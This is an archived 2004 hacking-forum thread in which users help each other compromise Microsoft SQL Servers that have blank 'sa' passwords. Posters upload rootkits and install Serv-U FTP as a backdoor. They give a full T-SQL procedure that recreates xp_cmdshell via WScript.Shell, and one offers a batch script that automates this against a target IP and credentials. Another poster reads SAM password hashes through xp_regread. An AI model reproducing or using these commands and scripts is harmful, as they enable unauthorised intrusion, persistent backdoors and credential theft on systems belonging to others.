hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Sql Error
Pages: 1, 2
3plx
QUOTE (sizza @ Apr 5 2004, 12:33 AM)
Hi I Was reading The Tut And All... I Wanted To Kno Were I Can Get osql.exe or a program liek that this si my problem
i got a successfull login for MSSQL and i upload my rootkit then sqlexec freezes is there anyway that i can prevent this? or anyway of starting my file on that computer thanks

u sure that all the files where uploadded if yes
so i use serv-u just type this
servudaemon.exe /h
servudaemon.exe /i
servudaemon.exe /s
net start serv-u
and connect to the ip with the port in ur servudaemon.ini
bevan_16
i usually type this, with the folders in front of course....but whats the /s do?
ServUDaemon.exe /h /i

oh, and you can control your ftp from serv-u admin, so you can see who connects to it and that sorta crap
sizza
no not serv u i upload my rootkit wit pkunzip and extract or i upload my .exe and then it freezes but dunno if it works and what does
CODE
/h
/i
/s



do?
thanks for the help
sizza
btw is there another way i can upload to a sql w/o ftp or tftp??
Killaloop
QUOTE (sizza @ Apr 7 2004, 01:09 PM)
btw is there another way i can upload to a sql w/o ftp or tftp??

read the post about
New Way To Download , Execute Binary From Cmd
Falcor
QUOTE (Killaloop @ Mar 24 2004, 01:05 PM)
there is nothing wrong when sql_no_date is displayed. this is no error this is the reply from the sql server to your command. why?
because you are echoing into a file so there is no reply with data to your command.
only a 0 for successful which will be interpreted as no_data

just write "type youscript.txt"
and you will see everything worked the way it should

awsome man, didnt realize that, its really helping out alot now wink.gif
Dalrok
nice tut great work ill gonna give it a try and ask question i'm stuck
popo0421
usually, i will try....
exec sp_dropextendedproc , "xp_cmdshell",
then do sp_addextendedproc to add a new xp_cmdshell.

anyway, this is a nice post. thk.
ma4
i tested the script and it works... why is it so easy ;)
i think you can't secure it completely, there is always a way to break through :(
braini
nice tut gonna check it out
thnx
realloader
Can some one help me?
I did all tut in hier , but it doesnt work.
Hier u can see:
1-Sqlexec.exe with Apple icon say: SQL_ERROR
---------------------------------------------
2-osql
C:\sql>osql.exe -S xxxx.xxx.xxx.xxx -U sa -P "" -i restore.txt
1> 2> 3> Msg 2714, Level 16, State 7, Server CROWN, Procedure sp_addextendedproc
, Line 26
[Microsoft][ODBC SQL Server Driver][SQL Server]There is already an object named
'xp_cmdshell' in the database.
1>
------------------------------------------------
3-SqlBrower
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result

It come like this:
Line 20:Incorrect syntax near '@ShellID'
---------------------------------------------------------------
Help me pl.!
TheOther
I've got some problems with this command:

osql.exe -S 123.123.123.123 -U sa -P "" -Q "USE master EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'"

This command doesn't gives error but the output is very bad:

Value

Data

-------------------------------------------------------------------------------

------------------------------------------------------------------------

------------------------------------------------------------------------

------------------------------------------------------------------------

--------
F


0x0200010000000000D012942D21EAC201E42B0D00000000000000000040DEFFFF000000
0000000000000000000000008000CC1DCFFBFFFFFF00CC1DCFFBFFFFFF00000000000000
008511000000000000000000000000000001000000030000000100000001000100010000
0038000000F44BA49F0EA9016269256DC4694F8DC6F11CBCF7B6757510968A50DC3CFB09

84FA3B6548BB2EF77D5D1C9ED0D138ACE00000000000000000



Can't see what the hashes are and the usernames.
Anyone got a suggestion? Maybe using something else than Osql?






The Storm
QUOTE (realloader @ Apr 16 2004, 02:00 PM)
Can some one help me?
I did all tut in hier , but it doesnt work.
Hier u can see:
1-Sqlexec.exe with Apple icon say: SQL_ERROR
---------------------------------------------
2-osql
C:\sql>osql.exe -S xxxx.xxx.xxx.xxx -U sa -P "" -i restore.txt
1> 2> 3> Msg 2714, Level 16, State 7, Server CROWN, Procedure sp_addextendedproc
, Line 26
[Microsoft][ODBC SQL Server Driver][SQL Server]There is already an object named
'xp_cmdshell' in the database.
1>
------------------------------------------------
3-SqlBrower
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result

It come like this:
Line 20:Incorrect syntax near '@ShellID'
---------------------------------------------------------------
Help me pl.!

u have to drop the old xp_cmdshell!!!! There is still one old that musst be drop i think the comand is

sp_dropprocedur or sp_dropextendedprocedur or sth. like this I`m not really sure!



@TheOther I don`t know this way try out the other ways explained in here!
realloader
QUOTE (The Storm @ Apr 20 2004, 10:37 AM)

sp_dropprocedur or sp_dropextendedprocedur or sth. like this I`m not really sure!


how to sp_dropprocedur it?
with sqlexec , osql orsqlbrowser?
The Storm
QUOTE (realloader @ Apr 20 2004, 12:11 PM)
QUOTE (The Storm @ Apr 20 2004, 10:37 AM)

sp_dropprocedur or sp_dropextendedprocedur or sth. like this I`m not really sure!


how to sp_dropprocedur it?
with sqlexec , osql orsqlbrowser?

ok i always use SQLBROWSER ther u only have to type

DROP xp_cmdshell

the its removed

on osql.exe u have to use a txt file on ur pc

//////////////////////////////////////////////////////////////////////////////////////////////////////
use master /
exec sp_dropextendedproc 'xp_cmdshell'
go /
//////////////////////////////////////////////////////////////////////////////////////////////////////

hope it works if not try dropextendedproc or procedure or just use the SQLbrowser way it`s the simplest and really works

in SQLEXEC it doesn`t work cause SQLEXEC uses the xpcmdshell and there is no way of self destruction *g* if i`m at home i`m gonna search fior the sp_******* command!
realloader
Thank u for reply!
however it doesnt work.
I open sqlbrowser give thecommand:
DROP xp_cmdshell
and klick on connect
Error pop up:
Line 1:Incorrect syntax near 'xp_cmdshell'
Other idea?
willywutz
in SQLEXEC ( green apple ) this command
exec sp_dropextendedproc 'xp_cmdshell'
with format %s works fine for me.

Another way Enterprise Manager query analyzer, there you can choose
the DB and use the command. This should work in all cases.

realloader
No no no success!
greatdane
i do the command, and get

C:\>osql.exe -S xx.xx.xx.xx -U sa -P 1 -i restore.txt
1> 2> 3> 1>

but i stil get SQL ERROR in sqlexec when i try to make a cmd command

any suggestions on what im doing wrong ?
möpele
hiGh...i think for deleting the xp_cmdshell you must use the following command:

drop procedure xp_cmdshell


it works fine with the sql-brower...after doing that you can create a new one
Improvisator
Hi!

Can someone give me a link to the sqlbrowser. I didn´t find the right one described in the tut. unsure.gif

Thx!
Devil
QUOTE(Improvisator @ Oct 5 2004, 10:23 AM)
Hi!

Can someone give me a link to the sqlbrowser. I didn´t find the right one described in the tut.  unsure.gif

Thx!
*



well typ "sqlbrowser" in google...maybe "sqlbrowser download" and then you got it....its that easy!!
c°h°
make a small batch like this :

osql -S %1 -U %2 -P %3 -i drop.txt
osql -S %1 -U %2 -P %3 -i restore.txt

for example call it s.bat

while drop.txt should be filled with :

DROP PROC xp_cmdshell

and shell.txt with:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result


now call s.bat ip user pass

PS of cause 4 dummies put the osql.exe in the same dir as the s.bat wink.gif

HF

But another thing :

sometimes this dont work even if u got all permissions my idea is that maybe the cmd.exe is corrupt i think we have to modify this line :

EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait

but i have no idea wich *.exe we could use 4 executing commands sad.gif
Eps__Em
Thanks for this nice tut. I tried it and it worked smile.gif .
I've got two questions:
When I restored the xp_cmdshell, I don't get a Sql Error, but theres no output in SQLExec. Has every SQL Server with a restored xp_cmdshell to be hacked blind?

And the other question is:
How can I hack a sql server that's behind a router. The normal way doesn't work. Almost all SQL Servers I find are behind a router sad.gif .
But I know that it's possible.

Thanks for Help!

cya Eps__Em
bipo
QUOTE(Eps__Em @ Oct 10 2004, 07:50 AM)
When I restored the xp_cmdshell, I don't get a Sql Error, but theres no output in SQLExec. Has every SQL Server with a restored xp_cmdshell to be hacked blind?


same here.....

thx 4 help!
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.